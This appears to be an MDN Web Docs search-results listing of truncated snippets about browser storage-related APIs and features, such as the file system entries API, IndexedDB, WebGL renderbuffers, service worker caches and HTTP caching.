s a single parameter: a fileerror describing what went wrong. return value undefined. errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as moving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it. fileerror.quota_exceeded_err the operation exceeded the user's storage quota, or there isn't enough storage space left to complete the operation. example this example shows how a temporary log file might be moved into a more permanent "log" directory when it exceeds a megabyte in size. workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirecto...
FileSystemEntry - Web APIs
read-only list of all the files and folders stored the origin of your app. example to see an example of how tourl() works, see the method description. the snippet below shows you how you can remove a file by name. // taking care of the browser-specific prefixes. window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; ... // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, function(fs) { fs.root.getfile('log.txt', {}, function(fileentry) { fileentry.remove(function() { console.log('file removed.'); }, onerror); }, onerror); }, onerror); properties this interface provides the following properties. filesystem read only a filesystem object representing the file system in which the entry...
FileSystemEntrySync - Web APIs
disallowed operations: moving an entry into its parent without changing its name moving a parent directory into one of its child directories. no_modification_allowed_err one of the following is not writable: the source entry, its parent directory, and the target directory. quota_exceeded_err the operation would cause the application to exceed its storage quota. you can ask for a larger persistent storage, which your user must explicitly grant. for more information, see the article on basic concepts. tourl() returns a url that can be used to identify this entry. it exposes a new url scheme—filesystem:—that you can use to fill src or href attributes. for example, if you wanted to display an image and have its fileentry, calling tourl()...
File and Directory Entries API support in Firefox - Web APIs
this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the original file system api was created to let browsers implement support for accessing a sandboxed virtual file system on the user's storage device. work to standardize the specification was abandoned back in 2012, but by that point, google chrome included its own implementation of the api. over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even checking to be sure the api is available before using it. mozilla instead opted to implement other ...
HTMLCanvasElement.getContext() - Web APIs
ently: boolean that indicates whether or not a lot of read-back operations are planned. this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently. this option is only available, if the flag gfx.canvas.willreadfrequently.enable is set to true (which, by default, is only the case for b2g/firefox os). (blink only) storage: string that indicates which storage is used ("persistent" by default). webgl context attributes: alpha: boolean that indicates if the canvas contains an alpha buffer. desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop antialias: boolean that indicates whether or not to perform anti-aliasing. depth: ...
HTMLFrameSetElement - Web APIs
ent is raised. windoweventhandlers.onpageshow is an eventhandler representing the code to be called when the pageshow event is raised. windoweventhandlers.onpopstate is an eventhandler representing the code to be called when the popstate event is raised. windoweventhandlers.onresize is an eventhandler representing the code to be called when the resize event is raised. windoweventhandlers.onstorage is an eventhandler representing the code to be called when the storage event is raised. windoweventhandlers.onunload is an eventhandler representing the code to be called when the unload event is raised. specifications specification status comment html living standardthe definition of 'htmlframesetelement' in that specification. living standard from the html5 s...
History.pushState() - Web APIs
Web › API › History › pushState
firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushstate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url optional the new history entry's url is given by this parameter. note that the browser won't attempt to load thi...
Ajax navigation example - Web APIs
430: "unassigned", 431: "request header fields too large", 500: "internal server error", 501: "not implemented", 502: "bad gateway", 503: "service unavailable", 504: "gateway timeout", 505: "http version not supported", 506: "variant also negotiates (experimental)", 507: "insufficient storage", 508: "loop detected", 509: "unassigned", 510: "not extended", 511: "network authentication required" }; var oreq, bisloading = false, bupdateurl = false; oloadingbox.id = "ajax-loader"; ocover.onclick = abortreq; oloadingimg.src = "data:image/gif;base64,r0lgodlheaaqapiaap///waaamlcwkjcqgaaagjiyokcgpkskih/c05fvfnd...
Working with the History API - Web APIs
firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushstate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title all browsers but safari currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url the new history entry's url is given by this parameter. note that the browser won't attempt to l...
IDBDatabase: close event - Web APIs
note that it is not fired if the database connection is closed normally using idbdatabase.close(). ...
IDBDatabaseException - Web APIs
s made on a source object that has been deleted or removed. more specific variants of this error includes: transaction_inactive_err and read_only_err. not_found_err 3 the operation failed because the requested database object could not be found; for example, an object store did not exist but was being opened. quota_err 11 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. read_only_err 9 a mutation operation was attempted in a read_only transaction. timeout_err 10 a lock for the transaction could not be obtained in a reasonable time. transaction_inactive_err 7 a request was made against a transaction that is either not curre...
IDBFactory.deleteDatabase() - Web APIs
db.deletedatabase(name, options); parameters name the name of the database you want to delete. note that attempting to delete a database that doesn't exist does not throw an exception, in contrast to idbdatabase.deleteobjectstore(), which does throw an exception if the named object store does not exist. optionsnon-standard in gecko, since version 26, you can include a non-standard optional storage parameter that specifies whether you want to delete a permanent (the default value) indexeddb, or an indexeddb in temporary storage (aka shared pool.) return value a idbopendbrequest on which subsequent events related to this request are fired. example var dbdeleterequest = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting...
IDBIndex - Web APIs
Web › API › IDBIndex
store for looking up records in another object store, called the referenced object store. you use this interface to retrieve data. you can retrieve records in an object store through the primary key or by using an index. an index lets you look up records in an object store using properties of the values in the object stores records other than the primary key the index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. the records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. when the object store chan...
IDBObjectStore.createIndex() - Web APIs
the createindex() method of the idbobjectstore interface creates and returns a new idbindex object in the connected database. it creates a new field/column defining a new data point for each database record to contain. bear in mind that indexeddb indexes can contain any javascript data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects. note that this method must be called only from a versionchange transaction mode callback. note: this feature is available in web workers. syntax var myidbindex = objectstore.createindex(indexname, keypath); var myidbindex = objectstore.createindex(indexname, keypath, objectparameters); parameters indexname the name of the index to create. note that it is possible to ...
Key Values - Web APIs
nessdown (0x1008ff03) qt::key_monbrightnessdown (0x010000b3) keycode_brightness_down (220) "brightnessup" the brightness up key. typically increases the brightness of the display. gdk_key_monbrightnessup (0x1008ff02) qt::key_monbrightnessup (0x010000b2) keycode_brightness_up (221) "eject" the eject key. ejects removable media (or toggles an optical storage device tray open and closed). gdk_key_eject (0x1008ff2c) qt::key_eject (0x010000b9) keycode_media_eject (129) "logoff" [2] the logoff key. gdk_key_logoff (0x1008ff61) qt::key_logoff (0x010000d9) "power" the power button or key, to toggle power on and off. note: not all systems pass this key through to to the user agent. ...
MediaTrackSettings.latency - Web APIs
as currently configured. this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.latency property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). this is, of course, an approximation, since latency can vary for many reasons including cpu, transmission, and storage overhead. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a ...
Media Capabilities API - Web APIs
) + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs. different browsers support different media types and new media types are always being developed. with the media capabilities api, developers can ensure each user is getting the best bitrate and storage savings for their browser, device, and os capabilities. whether a device uses hardware or software decoding impacts how smooth and power efficient the video decoding is and how efficient the playback will be. the media capabilities api enables determining which codecs are supported and how performant a media file will be both in terms of smoothness and power efficiency. the media capabilities a...
Node.localName - Web APIs
Web › API › Node › localName
ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. for nodes of any type other than element_node and attribute_node localname is always null. specifications specification status comment document object model (dom) level 3 core specificati...
OffscreenCanvas.getContext() - Web APIs
ently: boolean that indicates whether or not a lot of read-back operations are planned. this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently. this option is only available, if the flag gfx.canvas.willreadfrequently.enable is set to true (which, by default, is only the case for b2g/firefox os). (blink only) storage: string that indicates which storage is used ("persistent" by default). webgl context attributes: alpha: boolean that indicates if the canvas contains an alpha buffer. depth: boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits. stencil: boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits. antialias: boolean that in...
Permissions.revoke() - Web APIs
is false. sysex: (midi only) indicates whether you need and/or receive system exclusive messages. the default is false. note: as of firefox 44, the permissions for notifications and push have been merged. if permission is granted (e.g. by the user, in the relevant permissions dialog), navigator.permissions.query() will return true for both notifications and push. note: the persistent-storage permission allows an origin to use a persistent box (i.e persistent storage) for its storage, as per the storage api. returns a promise that calls its fulfillment handler with a permissionstatus object indicating the result of the request. exceptions typeerror retrieving the permissiondescriptor information failed in some way, or the permission doesn't exist or is currently unsupported (e...
Permissions - Web APIs
roid full support 66chrome android full support 66firefox android ? opera android ? ...
ServiceWorkerGlobalScope.caches - Web APIs
the caches read-only property of the serviceworkerglobalscope interface returns the cachestorage object associated with the service worker. syntax var mycachestorage = self.caches; value a cachestorage object. specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.caches' in that specification. working draft initial definition. ...
ServiceWorkerGlobalScope - Web APIs
iv> a:hover text { fill: #0095dd; pointer-events: all;} properties serviceworkerglobalscope.clients read only contains the clients object associated with the service worker. serviceworkerglobalscope.registration read only contains the serviceworkerregistration object that represents the service worker's registration. serviceworkerglobalscope.caches read only contains the cachestorage object associated with the service worker. events activate occurs when a serviceworkerregistration acquires a new serviceworkerregistration.active worker. also available via the serviceworkerglobalscope.onactivate property. contentdelete occurs when an item is removed from the content index. also available via the serviceworkerglobalscope.oncontentdelete property. fetch occurs when a...
WEBGL_color_buffer_float - Web APIs
float extension. the oes_texture_float extension implicitly enables this extension. constants ext.rgba32f_ext rgba 32-bit floating-point color-renderable format. ext.rgb32f_ext ( ) rgb 32-bit floating-point color-renderable format. ext.framebuffer_attachment_component_type_ext ? ext.unsigned_normalized_ext ? extended methods this extension extends webglrenderingcontext.renderbufferstorage(): the internalformat parameter now accepts ext.rgba32f_ext and ext.rgb32f_ext ( ). examples var ext = gl.getextension('webgl_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga32f_ext, 256, 256); specifications specification status comment webgl_color_buffer_floatthe definition of 'webgl_color_buffer_float' in that specification. recommenda...
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
ture to a framebuffer. this method is similar to webglrenderingcontext.framebuffertexture2d(), but only a given single layer of the texture level is attached to the attachment point. syntax void gl.framebuffertexturelayer(target, attachment, texture, level, layer); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.draw_framebuffer: equivalent to gl.framebuffer. gl.read_framebuffer: used as a source for reading operations. attachment a glenum specifying the attachment point for the texture. possible values: gl.color_attachment{0-15}: attaches the texture to one of the framebuffer's color buffers. gl.depth_attachment: atta...
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
the webgl2renderingcontext.getinternalformatparameter() method of the webgl 2 api returns information about implementation-dependent support for internal formats. syntax any gl.getinternalformatparameter(target, internalformat, pname); parameters target a glenum specifying the target renderbuffer object. possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format. internalformat a glenum specifying the internal format about which to retrieve information (must be a color-renderable, depth-renderable or stencil-renderable format). pname a glenum specifying the type of information to query. possible values: gl.samples: returns a int32array containing sample counts supported for internalformat in descending order. ret...
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
gl.draw_framebuffer: equivalent to gl.framebuffer. ...
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
the webgl2renderingcontext.invalidatesubframebuffer() method of the webgl 2 api invalidates portions of the contents of attachments in a framebuffer. syntax void gl.invalidatesubframebuffer(target, attachments, x, y, width, height); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.draw_framebuffer: equivalent to gl.framebuffer. gl.read_framebuffer: used as a source for reading operations. attachments an array of glenum specifying the attachment points to invalidate. possible values: gl.color_attachment{0-15}: invalidates one of the framebuffer's color buffers. gl.depth_attachment: invalidates the framebuffer's...
WebGL2RenderingContext - Web APIs
r. webgl2renderingcontext.invalidatesubframebuffer() invalidates portions of the contents of attachments in a framebuffer webgl2renderingcontext.readbuffer() selects a color buffer as the source for pixels. renderbuffers webgl2renderingcontext.getinternalformatparameter() returns information about implementation-dependent support for internal formats. webgl2renderingcontext.renderbufferstoragemultisample() creates and initializes a renderbuffer object's data store and allows specifying the number of samples to be used. textures webgl2renderingcontext.texstorage2d() specifies all levels of two-dimensional texture storage. webgl2renderingcontext.texstorage3d() specifies all levels of a three-dimensional texture or two-dimensional array texture. webgl2renderingcontext.teximage3d...
WebGLRenderingContext.bindFramebuffer() - Web APIs
the webglrenderingcontext.bindframebuffer() method of the webgl api binds a given webglframebuffer to a target. syntax void gl.bindframebuffer(target, framebuffer); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. framebuffer a webglframebuffer object to bind. return value none. exceptions a gl.invalid_enum error is thrown if target is not...
WebGLRenderingContext.bindRenderbuffer() - Web APIs
renderbuffer a webglrenderbuffer object to bind. return value none. ...
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
the webglrenderingcontext.checkframebufferstatus() method of the webgl api returns the completeness status of the webglframebuffer object. syntax glenum gl.checkframebufferstatus(target); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. return value a glenum indicating the completeness status of the framebuffer or 0 if an error occurs. possibl...
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
the webglrenderingcontext.getframebufferattachmentparameter() method of the webgl api returns information about a framebuffer's attachment. syntax any gl.getframebufferattachmentparameter(target, attachment, pname); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. attachment a glenum specifying the attachment point for the texture. possible val...
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
pname a glenum specifying the information to query. ...
WebGLTexture - Web APIs
description the webgltexture object does not define any methods or properties of its own and its content is not directly accessible. ...
WebGL constants - Web APIs
constant name value description unpack_flip_y_webgl 0x9240 unpack_premultiply_alpha_webgl 0x9241 unpack_colorspace_conversion_webgl 0x9243 additional constants defined webgl 2 these constants are defined on the webgl2renderingcontext interface. all webgl 1...
WebXR performance guide - Web APIs
h as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time. it makes sense, then, to have a limited set of these objects, simply replacing their contents with the new information each time you need to use them. they can be thought of as being similar to the registers in a microprocessor: a limited set of memory storage slots for specific kinds of data or use cases. while an individual vector or matrix doesn't occupy an inordinate amount of memory, the sheer number of vectors and matrices and other structures that are used to build each frame of a 3d scene means the memory management becomes a problem eventually if you keep allocating and de-allocating memory objects. consider the following function drawscene...
Functions and classes available to Web Workers - Web APIs
in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) no support no support no support cache cache api provides the ability to programmatically control cache storage associated with current origin. (yes) no support 43 ? channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly via two ports. 41 (41) (yes) (yes) (yes) console ap...
Using Web Workers - Web APIs
rs api landing page for reference documentation on workers and additional guides. you can run whatever code you like inside the worker thread, with some exceptions. for example, you can't directly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared. ...
Web Workers API - Web APIs
in the case of shared workers - workers that are shared between multiple scripts). you can run whatever code you like inside the worker thread, with some exceptions. for example, you can't directly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property). the data is copied rather than shared. ...
Window.open() - Web APIs
Web › API › Window › open
e limitation and generates unbelievable complexity of development. firefox (51.) gets the handle but cannot run any element.focus() while chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. this function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). for now 10/01/2017 the differencies of behavior found recently have not still been tested for others browsers. window features windowfeatures is an optional string containing a comma-separated list of requested features of the new window. after a window is opened, javascript can't be used to change the features. if windowname does not specify an existing wind...
WindowEventHandlers - Web APIs
called when the pageshow event is raised. windoweventhandlers.onpopstate is an eventhandler representing the code to be called when the popstate event is raised. windoweventhandlers.onrejectionhandled is an eventhandler representing the code to be called when the rejectionhandled event is raised, indicating that a promise was rejected and the rejection has been handled. windoweventhandlers.onstorage is an eventhandler representing the code to be called when the storage event is raised. windoweventhandlers.onunhandledrejection is an eventhandler representing the code to be called when the unhandledrejection event is raised, indicating that a promise was rejected but the rejection was not handled. windoweventhandlers.onunload is an eventhandler representing the code to be called when the ...
WindowOrWorkerGlobalScope - Web APIs
course, add more features in addition to the ones listed below. note: windoworworkerglobalscope is a mixin and not an interface; you can't actually create an object of type windoworworkerglobalscope. properties these properties are defined on the windoworworkerglobalscope mixin, and implemented by window and workerglobalscope. windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. windoworworkerglobalscope.crossoriginisolated read only returns a boolean value that indicates whether a sharedarraybuffer can be sent via a window.postmessage() call. windoworworkerglobalscope.indexeddb read only provides a mecha...
WorkerGlobalScope - Web APIs
globalscope.performance read only returns the performance associated with the worker. it is a regular performance object, except that only a subset of its property and methods are available to workers. workerglobalscope.console read only returns the console associated with the worker. properties implemented from elsewhere windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. windoworworkerglobalscope.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an idbfactory object. windoworworkerglobalscope.issecurecontext read only retu...
WorkerNavigator - Web APIs
ining information about the network connection of a device. workernavigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object. workernavigator.permissions read only returns a permissions object that can be used to query and update permission status of apis covered by the permissions api. navigator.storageread only returns a storagemanager interface for managing persistance permissions and estimating available storage. inherited properties navigatorid.appcodename read only always returns 'mozilla', in any browser. this property is kept only for compatibility purposes. navigatorid.appname read only returns the official name of the browser. do not rely on this property to return the c...
Guide to Web APIs - Developer guides
Web › Guide › API
long tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Audio and Video Delivery - Developer guides
if this is htmlmediaelement.network_no_source, you know that all the sources failed to load. if at that point you add another source, by inserting a new <source> element as a child of the media element, gecko attempts to load the ...
User input and controls - Developer guides
imple control system. the demo uses javascript to draw a ball inside a <canvas> element. when you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. contenteditable demo this is a working example showing how contenteditable can be used to create an editable document section, the state of which is then saved using localstorage. tutorials touch events guide managing screen orientation using fullscreen mode dragging and dropping multiple items drag operations guide reference mouseevent keyboardevent touch events pointer_lock_api screen orientation api fullscreen api drag & drop content editable ...
<body>: The Document Body element - HTML: Hypertext Markup Language
Web › HTML › Element › body
ment has received a message. onoffline function to call when network communication has failed. ononline function to call when network communication has been restored. onpopstate function to call when the user has navigated session history. onredo function to call when the user has moved forward in undo transaction history. onresize function to call when the document has been resized. onstorage function to call when the storage area has changed. onundo function to call when the user has moved backward in undo transaction history. onunload function to call when the document is going away. rightmargin the margin of the right of the body. this method is non-conforming, use css margin-right property on the element instead. text foreground color of text. this method is non-confo...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
out those windows inheriting the sandboxing. for example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to. allow-same-origin: if this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy. allow-scripts: lets the resource run scripts (but not create popup windows). allow-storage-access-by-user-activation : lets the resource request access to the parent's storage capabilities with the storage access api. allow-top-navigation: lets the resource navigate the top-level browsing context (the one named _top). allow-top-navigation-by-user-activation: lets the resource navigate the top-level browsing context, but only if initiated by a user gesture. notes about sandboxi...
<img>: The Image Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › img
evices a fallback destination. loading indicates how the browser should load the image: eager: loads the image immediately, regardless of whether or not the image is currently within the visible viewport (this is the default value). lazy: defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. the intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. this generally improves the performance of the content in most typical use cases. note: loading is only deferred when javascript is enabled. this is an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's ...
<input type="datetime-local"> - HTML: Hypertext Markup Language
, and the jquery timepicker plugin. the y2k38 problem (often server-side) javascript uses double precision floating points to store dates, as with all numbers, meaning that javascript code will not suffer from the y2k38 problem unless integer coercion/bit-hacks are used because all javascript bit operators use 32-bit signed 2s-complement integers. the problem is with the server side of things: storage of dates greater than 231-1. to fix this problem, you must store all dates using either unsigned 32-bit integers, signed 64-bit integers, or double-precision floating points on the server. if your server is written in php, the fix may be as simple as upgrading to php 8 or 7, and upgrading your hardware to x86_64 or ia64. if you are stuck with other hardware, you can try to emulate 64-bit hardware...
<input type="file"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › file
once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the path to the selected file. ...
HTTP caching - HTTP
Web › HTTP › Caching
d is therefore not a reliable replacement for the general http/1.1 cache-control header, although it does behave the same as cache-control: no-cache, if the cache-control header field is omitted in a request. use pragma only for backwards compatibility with http/1.0 clients. freshness once a resource is stored in a cache, it could theoretically be served by the cache forever. caches have finite storage so items are periodically removed from storage. this process is called cache eviction. on the other side, some resources may change on the server so the cache should be updated. as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. before this expiration time, the resource is fresh; afte...
Compression in HTTP - HTTP
n can be defined at the connection level, between two nodes of an http connection. file format compression each data type has some redundancy, that is wasted space, in it. if text can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and video. unlike text, these other media types use lot of space to store their data and the need to optimize storage and regain space was apparent very early. engineers designed the optimized compression algorithm used by file formats designed for this specific purpose. compression algorithms used for files can be grouped into two broad categories: loss-less compression, where the compression-uncompression cycle doesn't alter the data that is recovered. it matches (byte to byte) with the original. for imag...
CSP: sandbox - HTTP
s to have control over whether an iframe can start a presentation session. allow-same-origin allows the content to be treated as being from its normal origin. if this keyword is not used, the embedded content is treated as being from a unique origin. allow-scripts allows the page to run scripts (but not create pop-up windows). if this keyword is not used, this operation is not allowed. allow-storage-access-by-user-activation lets the resource request access to the parent's storage capabilities with the storage access api. allow-top-navigation allows the page to navigate (load) content to the top-level browsing context. if this keyword is not used, this operation is not allowed. allow-top-navigation-by-user-activation lets the resource navigate the top-level browsing context, but only ...
Index - HTTP
Web › HTTP › Headers › Index
rol general-header field is used to specify directives for caching mechanisms in both requests and responses. caching directives are unidirectional, meaning that a given directive in a request is not implying that the same directive is to be given in the response. 20 clear-site-data http, http header, reference, header the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website. it allows web developers to have more control over the data stored locally by a browser for their origins. 21 connection http, headers, reference, web the connection general header controls whether or not the network connection stays open after the current transaction finishes. if the value sent is keep-alive, the connection is ...
HTTP headers - HTTP
Web › HTTP › Headers
thentication method that should be used to access a resource behind a proxy server. proxy-authorization contains the credentials to authenticate a user agent with a proxy server. caching age the time, in seconds, that the object has been in a proxy cache. cache-control directives for caching mechanisms in both requests and responses. clear-site-data clears browsing data (e.g. cookies, storage, cache) associated with the requesting website. expires the date/time after which the response is considered stale. pragma implementation-specific header that may have various effects anywhere along the request-response chain. used for backwards compatibility with http/1.0 caches where the cache-control header is not yet present. warning general warning information about possible problems. ...
An overview of HTTP - HTTP
Web › HTTP › Overview
ll change the request in some way before passing it along to the server. proxies may perform numerous functions: caching (the cache can be public or private, like the browser cache) filtering (like an antivirus scan or parental controls) load balancing (to allow multiple servers to serve the different requests) authentication (to control access to different resources) logging (allowing the storage of historical information) basic aspects of http http is simple http is generally designed to be simple and human readable, even with the added complexity introduced in http/2 by encapsulating http messages into frames. http messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers. http is extensible introduced in http/1.0,...
HTTP response status codes - HTTP
Web › HTTP › Status
way and cannot get a response in time. 505 http version not supported the http version used in the request is not supported by the server. 506 variant also negotiates the server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process. 507 insufficient storage (webdav) the method could not be performed on the resource because the server is unable to store the representation needed to successfully complete the request. 508 loop detected (webdav) the server detected an infinite loop while processing the request. 510 not extended further extensions to the request are required for the server to fulfil it. 511 network authentication required the 511 ...
Meta programming - JavaScript
umber 42. additional examples are available on the proxy reference page. terminology the following terms are used when talking about the functionality of proxies. handler placeholder object which contains traps. traps the methods that provide property access. (this is analogous to the concept of traps in operating systems.) target object which the proxy virtualizes. it is often used as storage backend for the proxy. invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target. invariants semantics that remain unchanged when implementing custom operations are called invariants. if you violate the invariants of a handler, a typeerror will be thrown. handlers and traps the following table summarizes the...
DataView() constructor - JavaScript
ed to create dataview objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new dataview(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the new dataview object. byteoffset optional the offset, in bytes, to the first byte in the above buffer for the new view to reference. if unspecified, the buffer view starts with the first byte. bytelength optional the number of elements in the byte array. if unspecified, the view's length will match the buffer's length. return value a new dataview object representing the specifie...
background_color - Web app manifests
n the manifest is available before the stylesheet has loaded. therefore background_color should match the background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content. note: the background_color member is only meant to improve the user experience while the main stylesheet is loading from the network or the storage media; it is not used by the user agent as the background-color css property when the progressive web app stylesheet is available. examples "background_color": "red" specification specification status comment feedback web app manifestthe definition of 'background_color' in that specification. working draft initial definition. web app manifest working g...
Image file type and format guide - Web media technologies
rd the right and bottom). theoretically, several compression algorithms are supported, and the image data can also be stored in jpeg or png format within the bmp file. ...
Add to Home screen - Progressive web apps (PWAs)
his is in place. what does a2hs not give you? bear in mind that when you add an app to your home screen, it just makes the app easily accessible — it doesn't download the app's assets and data to your device and make the app available offline, or anything like that. to make your app work offline, you have to use the service worker api to handle storing the assets offline, and if required, web storage or indexeddb to store its data. in our example app, we've just used a service worker to store all necessary files. the service worker is registered against the site with the final code block in the index.js file. we then cache all the site's assets using the cache api, and serve them from the cache instead of the network using the code in the sw.js file. a2hs on desktop while originally intend...
Introduction to progressive web apps - Progressive web apps (PWAs)
ed at least once, even under situations of poor connectivity. control what is shown to the user in situations where there is no connectivity. this is achieved using a combination of technologies: service workers to control page requests (for example storing them offline), the cache api for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as web storage and indexeddb to store application data offline. progressive enhancement suppport modern web apps can be developed to provide an excellent experience to fully capable browsers, and an acceptable (although not quite as shiny) experience to less capable browsers. we've been doing this for years with best practices such as progressive enhancement. by using progre...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
